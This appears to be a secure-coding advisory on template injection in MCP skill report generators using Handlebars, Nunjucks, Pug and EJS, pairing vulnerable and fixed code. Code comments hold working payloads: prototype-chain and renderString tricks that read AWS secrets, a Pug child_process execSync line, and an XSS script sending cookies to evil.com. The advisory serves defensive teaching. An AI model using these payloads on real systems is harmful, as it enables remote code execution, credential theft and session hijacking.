Claude skill template injection in report generation — SA-SKL-INJECTION5
MCP skills that generate HTML reports, audit summaries, or export documents often use template engines — Handlebars, Nunjucks, Pug, or EJS. SA-SKL-INJECTION5 covers four patterns where user-controlled input reaches template compilation or rendering logic, leading to RCE via prototype chain traversal in Handlebars, arbitrary code execution in Nunjucks renderString(), full JS execution in Pug's compile(), and stored XSS in EJS raw output. These are distinct from classic SSTI in Python frameworks — they exploit Node.js-specific behaviors in each engine's sandbox model.
Template injection in MCP skill report generation
Template engines are designed to merge static structure with dynamic data. The critical security invariant is that the template itself is developer-controlled, while the data injected into the template is untrusted. When an MCP skill violates this invariant — letting user input reach the template string rather than the data context — the user becomes a template author with full access to whatever the engine exposes: in Node.js environments, that path typically leads to process.env, require(), and remote code execution.
MCP skills are especially prone to this pattern in report generation features, where it is tempting to let users customize output templates. "Let the user configure the report format" is a reasonable product feature; "let the user supply the template string to Nunjucks" is an RCE vulnerability.
allowProtoPropertiesByDefault:true + user template string; prototype chain traversal returns process.envrenderString(userTemplate, data); attacker injects Nunjucks filter chain for arbitrary code executioncompile(req.body.template); unescaped interpolation #{code} executes arbitrary JS in render context<%- rawOutput %> on user-controlled variable; attacker injects <script> tag bypassing HTML escapingINJECTION5-001 — Handlebars prototype chain RCE via allowProtoPropertiesByDefault:true
Handlebars 4.6.0+ added prototype property access controls after a series of prototype pollution CVEs. By default, accessing prototype properties in a Handlebars template throws an error. Setting allowProtoPropertiesByDefault:true in the runtime options re-enables prototype traversal, restoring the original vulnerable behavior. When a user can supply both a Handlebars template string and the data context, they can traverse the prototype chain to reach Object.constructor and execute arbitrary code.
The payload {{{lookup (lookup this "constructor") "constructor"}}} in Handlebars with allowProtoPropertiesByDefault:true returns the Function constructor, and calling it with an arbitrary string executes that string as JavaScript in the Node.js process — returning process.env.AWS_SECRET_ACCESS_KEY or running child_process.exec().
// VULNERABLE — allowProtoPropertiesByDefault:true with user template string
import Handlebars from 'handlebars';
export function renderReport(templateStr: string, data: Record<string, unknown>): string {
const tmpl = Handlebars.compile(templateStr); // ← user-supplied template
return tmpl(data, {
allowProtoPropertiesByDefault: true, // ← disables prototype access protection
// Attacker template: {{{lookup (lookup this "constructor") "constructor" "return process.env.AWS_SECRET_ACCESS_KEY"}}}
});
}
// FIXED — precompile templates at build time; never compile user strings; block proto access
import Handlebars from 'handlebars';
import path from 'path';
// Template strings live in a versioned directory — users never supply template strings
const TEMPLATES_DIR = path.resolve(__dirname, 'templates');
const cache = new Map<string, HandlebarsTemplateDelegate>();
function loadTemplate(name: string): HandlebarsTemplateDelegate {
// Allowlist: only load templates from known names, never interpolate user input into path
const allowed = ['audit-report', 'scan-summary', 'badge-card'];
if (!allowed.includes(name)) throw new Error('Unknown template name');
if (!cache.has(name)) {
// Templates are precompiled at build time — no runtime compile() on user input
const precompiled = require(path.join(TEMPLATES_DIR, `${name}.precompiled.js`));
cache.set(name, Handlebars.template(precompiled));
}
return cache.get(name)!;
}
export function renderReport(templateName: string, data: Record<string, unknown>): string {
const tmpl = loadTemplate(templateName);
// allowProtoPropertiesByDefault defaults to false — prototype traversal blocked
// data is developer-controlled via schema validation; never includes user template strings
return tmpl(data);
}
INJECTION5-002 — Nunjucks renderString() with user-supplied template
Nunjucks renderString(templateStr, context) compiles and executes a template string on the fly. When templateStr originates from user input, the attacker can inject Nunjucks syntax that executes arbitrary JavaScript via the cycler global or filter chains. The safe alternative is env.render(templateName, data) which renders a template file by name — users can control data values but never the template logic.
// VULNERABLE — Nunjucks renderString() on user template input
import nunjucks from 'nunjucks';
const env = nunjucks.configure('views', { autoescape: true });
export function renderCustomReport(userTemplate: string, reportData: object): string {
// VULNERABLE: user supplies the template string — attacker injects:
// {{ ''.__class__.__mro__[1].__subclasses__() }} (Python-style doesn't work in Nunjucks,
// but: {{ cycler.__init__.__globals__.process.env.AWS_SECRET_ACCESS_KEY }} does in some versions
// or more directly: {{ range.constructor("return process.env")() }}
return nunjucks.renderString(userTemplate, reportData);
}
// FIXED — render by name from allowlisted template files; users control data only
import nunjucks from 'nunjucks';
import Ajv from 'ajv';
const env = nunjucks.configure(path.resolve(__dirname, 'views'), {
autoescape: true,
throwOnUndefined: true,
});
const ALLOWED_TEMPLATES = new Set(['audit-report.njk', 'scan-summary.njk', 'finding-list.njk']);
const reportDataSchema = {
type: 'object',
required: ['orgName', 'findings'],
properties: {
orgName: { type: 'string', maxLength: 200 },
findings: { type: 'array', maxItems: 500, items: { type: 'object' } },
},
additionalProperties: false,
};
const validate = new Ajv().compile(reportDataSchema);
export function renderCustomReport(templateName: string, reportData: unknown): string {
if (!ALLOWED_TEMPLATES.has(templateName)) throw new Error('Template not allowed');
if (!validate(reportData)) throw new Error('Invalid report data');
// env.render() uses a named file — no user template strings
return env.render(templateName, reportData as object);
}
INJECTION5-003 — Pug compile() on user-supplied template string
Pug's compile(templateString) converts a Pug template string into a JavaScript function. When the template string originates from user input, the attacker can use Pug's unescaped interpolation syntax #{} or unbuffered code - to execute arbitrary JavaScript expressions during render. Unlike Handlebars, Pug has no prototype protection — the entire Node.js runtime is available to template code.
// VULNERABLE — Pug compile() on user template string
import pug from 'pug';
export function renderTemplate(userTemplate: string, data: object): string {
const fn = pug.compile(userTemplate); // ← user template string
// attacker userTemplate: "- var x = require('child_process').execSync('id').toString()\np= x"
// or: "p= global.process.env.AWS_SECRET_ACCESS_KEY"
return fn(data);
}
// FIXED — res.render() with allowlisted view names; never compile user strings
import pug from 'pug';
import path from 'path';
const VIEWS_DIR = path.resolve(__dirname, 'views');
const ALLOWED_VIEWS = ['audit-report', 'scan-summary', 'finding-detail'];
const compiledCache = new Map<string, pug.compileTemplate>();
function getTemplate(name: string): pug.compileTemplate {
if (!ALLOWED_VIEWS.includes(name)) throw new Error('View not in allowlist');
if (!compiledCache.has(name)) {
// Compile from known file path at startup — never from user strings
const filePath = path.join(VIEWS_DIR, `${name}.pug`);
compiledCache.set(name, pug.compileFile(filePath));
}
return compiledCache.get(name)!;
}
export function renderTemplate(viewName: string, data: Record<string, unknown>): string {
const tmpl = getTemplate(viewName);
return tmpl(data); // data values are user-controlled but template logic is not
}
INJECTION5-004 — EJS triple-stache raw output on user data
EJS uses <%= expr %> for HTML-escaped output and <%- expr %> for raw, unescaped output. When a developer uses <%- %> on a variable that originates from user input (a user-supplied title, description, or comment), an attacker can inject a <script> tag that executes in the context of the rendered page — a stored XSS in the generated HTML report.
// VULNERABLE — EJS <%- rawOutput %> on user-controlled variable
// views/report.ejs:
// <h1><%- reportTitle %></h1> ← raw output: attacker sets title to <script>...</script>
// <div><%- description %></div> ← raw output: stored XSS in every rendered report
import ejs from 'ejs';
export async function renderHtmlReport(reportData: { title: string; description: string }): Promise<string> {
// reportData comes from user input — attacker sets title = '<script>fetch("https://evil.com/"+document.cookie)</script>'
return ejs.renderFile('views/report.ejs', reportData);
}
// FIXED — always use <%= escaped %> for user data; validate and encode before template
import ejs from 'ejs';
import Ajv from 'ajv';
import { encode } from 'html-entities';
const schema = {
type: 'object',
required: ['title', 'description'],
properties: {
title: { type: 'string', maxLength: 200 },
description: { type: 'string', maxLength: 10000 },
},
additionalProperties: false,
};
const validate = new Ajv().compile(schema);
// In views/report.ejs — use <%= %> (HTML-escaped) for all user data:
// <h1><%= reportTitle %></h1> ← escaped: <script> becomes <script>
// <div><%= description %></div> ← escaped: safe output
export async function renderHtmlReport(rawData: unknown): Promise<string> {
if (!validate(rawData)) throw new Error('Invalid report data');
const data = rawData as { title: string; description: string };
// Even with <%= %> in the template, pre-encode as a belt-and-suspenders measure
return ejs.renderFile('views/report.ejs', {
reportTitle: data.title, // template uses <%= reportTitle %>
description: data.description, // template uses <%= description %>
});
}
Related patterns: Template injection in MCP skills often co-occurs with SSRF when the generated HTML is then passed to a headless renderer — see SA-SKL-SSRF9: SSRF via PDF generation and headless browser rendering. For the broader SSTI class across server-side frameworks, see the MCP server SSTI deep dive. Prototype pollution via query parsers, which shares root causes with the Handlebars prototype chain pattern, is covered in SA-SKL-PROTOTYPE6.
| Finding | Severity | Vulnerable pattern | Fix |
|---|---|---|---|
INJECTION5-001 | Critical | Handlebars compile(userStr) + allowProtoPropertiesByDefault:true | Precompile at build time; never compile user strings; default proto protection |
INJECTION5-002 | Critical | Nunjucks renderString(userTemplate, data) | env.render(templateName, data) with allowlisted file names only |
INJECTION5-003 | Critical | Pug compile(req.body.template) | compileFile(allowlistedPath) at startup; tmpl(data) with schema-validated data only |
INJECTION5-004 | High | EJS <%- userValue %> in report template | Always use <%= %> (HTML-escaped) for user data; Ajv schema validation before render |